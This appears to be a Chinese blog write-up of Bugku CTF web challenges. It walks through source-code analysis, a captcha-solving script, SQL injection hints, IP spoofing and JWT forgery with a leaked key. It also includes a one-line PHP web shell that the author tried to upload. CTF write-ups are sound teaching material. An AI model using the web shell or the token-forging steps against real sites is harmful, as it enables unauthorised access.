bugku—Web_Writeup
- 2019 年 10 月 6 日
- 筆記
Bugku_Web_Writeup
Writeup略顯粗糙~~
部分Web題沒有得到最後的flag~只是有了一個簡單的思路~~
Web1:
如上,打開題目答題網址後就會彈出一張圖片,看圖片就可以發現是一段PHP源碼,通過對源碼的解析得出以下:
<?php header("Content-type:text/html;charset=utr-8"); error_reporting(0); include 'flag.php'; $b = 'ssAEDsssss'; extract($_GET); // extract():將數組中的鍵名設置為變量名,鍵值為變量中參數 if (isset($a)) { // isset():檢查變量是否存在 $c = trim(file_get_contents($b)); // file_get_contents():將整個文件讀入一個字符串中 // trim(): 函數可移除字符串兩端的空白字符或其他預定義字符,因為沒有預定要刪的字符,所以會刪除全部字符 // 處理一個文本文件中的數據讀入進一個字符串中,利用上述兩個函數進行格式處理 // 結合 $c 變量最後得到的字符串就是一個空內容 ===> $c = ' ' if ($a == $c) { // 在之前isset()判斷是否存在$a變量,從php源碼中沒有發現$a變量;故此在URL中可以構造一個變量a並空值 echo $myFlag ; } else { echo "No!"; } } ?>
綜合分析:
PHP源碼錶達的flag顯示是在通過 isset($a) 和 $a == $c 判斷後echo顯示myFlag變量(即flag)以及源碼中注釋說明。
我們需要的就是構造一個變量a給php源碼,然而變量c在函數的聯合下,變量C的內容是空的,於是我們構造一個URL並且a變量為空
http://123.206.31.85:10001/?a=
Web2:
該題三秒自動刷新計算題和答案,所以需要在三秒內計算得出並填寫正確的答案獲取flag
如果按照人類的速度是……不可能的,於是只得借用腳本自動化了!
import requests,re url = 'http://123.206.31.85:10002/' // Session():模擬登錄操作 s = requests.Session() // 創建一個Session對象:s def getURL(url): con = s.get(url) // 發送請求,使用默認得登錄屬性 res = con.text // 獲取頁面text格式轉換得字符串:res return res def Calculation(text): result = eval(((re.findall(".*</p",text))[0])[0:-3]) // 正則篩選公式 return result // 返回計算公式的結果 result def postRES(): result = Calculation(getURL(url)) //調用函數返回網頁頁面內容再調用 payload = {'result':result} r = s.post(url,data=payload) // 模擬提交計算結果給服務端 return r print (postRES().text) // 返回HTTP結果中的text數據
RUN後就可以得到我們想要的flag了!
*Web3:文件包含
根據提示!得知網站允許我們上傳一張圖片!於是果斷上傳一句話木馬……
<?php eval($_POST[key]);?>
方法一:上傳php文件
結果:失敗!
結論:設置了文件類型審查
方法二:上傳png文件,burp攔包改後綴.php
結果:失敗!
結論:不在客戶端進行,而是利用服務端進行文件類型審查
…………
Web4:萬能登錄
可以看出是類後台登錄的頁面,首先就是萬能密碼走一遍……
然後非常好玩的是……flag就出來了!搞得我還準備用brup爆破弱密碼呢……
*Web5:SQL注入
SQLMap注入:參考
Web6:管理員系統
眨眼一看,沒頭緒,我看了別人的Writeup,都說HTML代碼里有base64加密的password,但是原諒我「蠢」,沒有看見base64碼……
我按照「老」思路,扔了幾個字典跑了一下……(我用了六分鐘跑出來了)
哦!對了……記得修改X-Forwarded-For
的value為本地地址^_^從另一個角度可以認為這是一道關於偽造IP的題目!
*Web7:
[發貨系統]
web9:
頁面返回如下一串字符:
put me a message bugku then you can get the flag
意思就是讓我們通過PUT方式提交「bugku」給服務端
於是我們抓包修改數據包內容:
修改請求方式為:PUT
添加請求的信息實體內容:bugku
點擊:Go ===>
就會響應flag,但是返回的是看不懂的「亂碼」
然而並不是……通過Base64解碼可以得到正確的flag碼
web10*:JWT的危險
頁面顯示登錄框,我們使用burp抓包並Request:
從返回的數據包看出提示,從尾部的三個等於號推斷是Base32編碼,於是我們使用Base32解碼為字符串
從解密的字符串可以認為是登錄名和密碼,我們使用解碼結果登錄:
通過嘗試從這段文字中發現,Vim崩潰並且網站有秘密……
**Vim崩潰時文件會備份緩存,並且以*.swp文件格式存儲;當然了,如果文件正常關閉會自動刪除同名的swp格式文件。**
文字中說了,是在寫這個網站的主頁時崩潰的~
呦西!一下子就看見了~那麼我們就下載保存打開「L3yx.php.swp」文件
swp文件下載後,利用vi -r [file]恢復技術恢復文件
L3yx.php源碼如下:
<html> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>在線日記本</title> <form action="" method="POST"> <p>username: <input type="text" name="username" /></p> <p>password: <input type="password" name="password" /></p> <input type="submit" value="login" /> </form> <!--hint:NNVTU23LGEZDG===--> </html> <?php error_reporting(0); require_once 'src/JWT.php'; const KEY = 'L3yx----++++----'; function loginkk() { $time = time(); $token = [ 'iss'=>'L3yx', 'iat'=>$time, 'exp'=>$time+5, 'account'=>'kk' ]; $jwt = FirebaseJWTJWT::encode($token,KEY);//JWT認證方式 setcookie("token",$jwt); header("location:user.php"); } if(isset($_POST['username']) && isset($_POST['password']) && $_POST['username']!='' && $_POST['password']!='') { if($_POST['username']=='kk' && $_POST['password']=='kk123') { loginkk(); } else { echo "賬號或密碼錯誤"; } } ?>
在源碼中發現使用了 JWT方法進行認證,且源碼中存在JWT的密鑰"KEY = ‘L3yx—-++++—-‘"
從數據包中發現token;我們利用解碼工具進行:
JWT-token包含三部分:JWT頭部、JWT負載、JWT簽名
三部分之間使用 點 符號進行分隔
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 [JWT頭部] eyJpc3MiOiJMM3l4IiwiaWF0IjoxNTcwMDExNTQ1LCJleHAiOjE1NzAwMTE1NTAsImFjY291bnQiOiJrayJ9 [JWT負載] aWma416iRo9Y55rdk2LNtkyTulVs98ZrCqj0nBLMzH8 [JWT簽名]
我們分別對三部分的編碼方式進行解碼:
JWT頭部—Base64解碼:
{"typ":"JWT","alg":"HS256"}
JWT負載—Base64解碼:
{"iss":"L3yx","iat":1570011545,"exp":1570011550,"account":"kk"}
*通過頭部的解碼發現JWT簽名使用的是HS256算法
通過對頭部和負載兩部分的base64解碼結果進行HS256加密,可以得出JWT簽名部分編碼:
題意,提示我們使用「L3yx」用戶,於是我們修改JWT負載的用戶名(也需要留意時間戳問題:exp):
{"iss":"L3yx","iat":1570011545,"exp":1570033550,"account":"L3yx"}
然後構造一個JWT-token:https://jwt.io/
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJMM3l4IiwiaWF0IjoxNTcwMDE0MDg0LCJleHAiOjE1NzAwNTU1ODksImFjY291bnQiOiJMM3l4In0.Nvl06ImN7gBuBB4oFwQcgsyzt7zarNhA1vGAXxYksNA
通過Burp—Repeater構造一個發送到user.php的請求
最終獲得正確的flag!
*Web11:
打開頁面,只顯示一行「We han’t anything!」,騙子說這裡啥都沒有~
但是留意以下抓包的源代碼返回結果發現:
網頁的title頁面標題為「robots」,由此想起了「robots.txt」:
根據獲知的結果訪問「shell.php」
<form action="shell.php" method="get"> substr(md5(<input type="text" name="password">), 0, 6) = 05862a<input type="submit"> </for
從源碼和頁面可以初步認為,是需要提交一個數字被md5函數處理後再被substr函數處理的結果與7fdaf4形成相等。
PHP substr()函數:
substr( string , start , length)
返回String字符串中從start開始,length長度的字符串
綜上,就是對MD5進行截斷比較,暴力解決!~
Web13:
詭異的框框,攔包看一看:
感覺太怪了,返回包中有Password字段信息,於是Base64解碼:
…………
然而並不正確,於是將flag放入框中提交查詢:
於是思前想後,有反覆幾次後發現:每一次都是不同的flag,所以我認為是要求在最快的時間內提交當前的flag才可以得到真正的flag~
import requests import base64 url = 'http://123.206.31.85:10013/index.php' r = requests.session() r1 = r.post(url,data={'password':'flag'}) Password = r1.headers['password'] password = str(base64.b64decode(Password),'utf-8')[5:-1] r2 = r.post(url,data={'password':password}) print(r2.text)
代碼解析:
獲取響應包的password字段,提交到password表單中並提交。
Web14:
提示:「聽說備份了不少東西」
通過簡單的提示,可以確定網站存在源碼泄露的可能
使用GitHack進行探測並嘗試恢復~
Web15:
提示:Vim編輯器
根據頁面和提示可以確定我們要找的flag不在index.php
不過,流程不變,先抓包看一看
果然,一抓包就看見了貓膩~
將hint字段內容進行編碼分析(推測是十六進制)
MRWWY5DGM46T2
只有大寫字母和數字:Base32解碼
dmltfg==
兩個等於號:Base64解碼
Vim~
從最終的結果可以看出,Vim的備份文件符號「~」
結合頁面提示「來錯了地方」,表示頁面沒錯但是位置錯了:
http://123.206.31.85:10015/index.php~
ps原頁面的地址是1ndex.php留下了一個小小的坑哦!
<?php header('content-type:text/html;charset=utf-8'); include './flag.php'; error_reporting(0); if(empty($_GET['id'])){ header('location:./1ndex.php'); }else{ $id = $_GET['id']; if (!is_numeric($id)) { //檢測變量是否為數字或數字字符串 $id = intval($id); //獲取變量的整數值 switch ($id) { case $id>=0: echo "快出去吧,走錯路了~~~<br>"; echo "這麼簡單都不會么?"; break; case $id>=10: exit($flag); break; default: echo "你走不到這一步的!"; break; } } } ?>
分析源碼發現,輸出flag的條件:接收一個值「id」,要求不是數字或數字字符串,但要求大於等於10
源碼的邏輯非常清楚,只要提交的是非數字的字符就可以顯示flag了!
但是~這裡有一個坑 ~~~ 巨坑!!!
在這個頁面,無亂提交的是什麼都是「Error」的~~~
因為它告訴你了~不該來這個頁面~仔細看看URL~~
http://123.206.31.85:10015/1ndex.php
一和i傻傻分不清處:
我們要訪問的必須是:index.php:
流量分析:
打開文件後,追蹤TCP流就可以了~
日誌審計:
要求從日誌中找出黑客攻擊的痕迹~
一打開文件~數據太龐大了~受不了呀~
疑似SQL注入攻擊的痕迹~
確定存在SQL注入的痕迹~
我們統計每次注入的參數,得到flag~
import re log = open ('sql_log.txt','r').read() find = re.findall(r'3D(.*)--',log) for i in find: print(chr(int(i)),end="")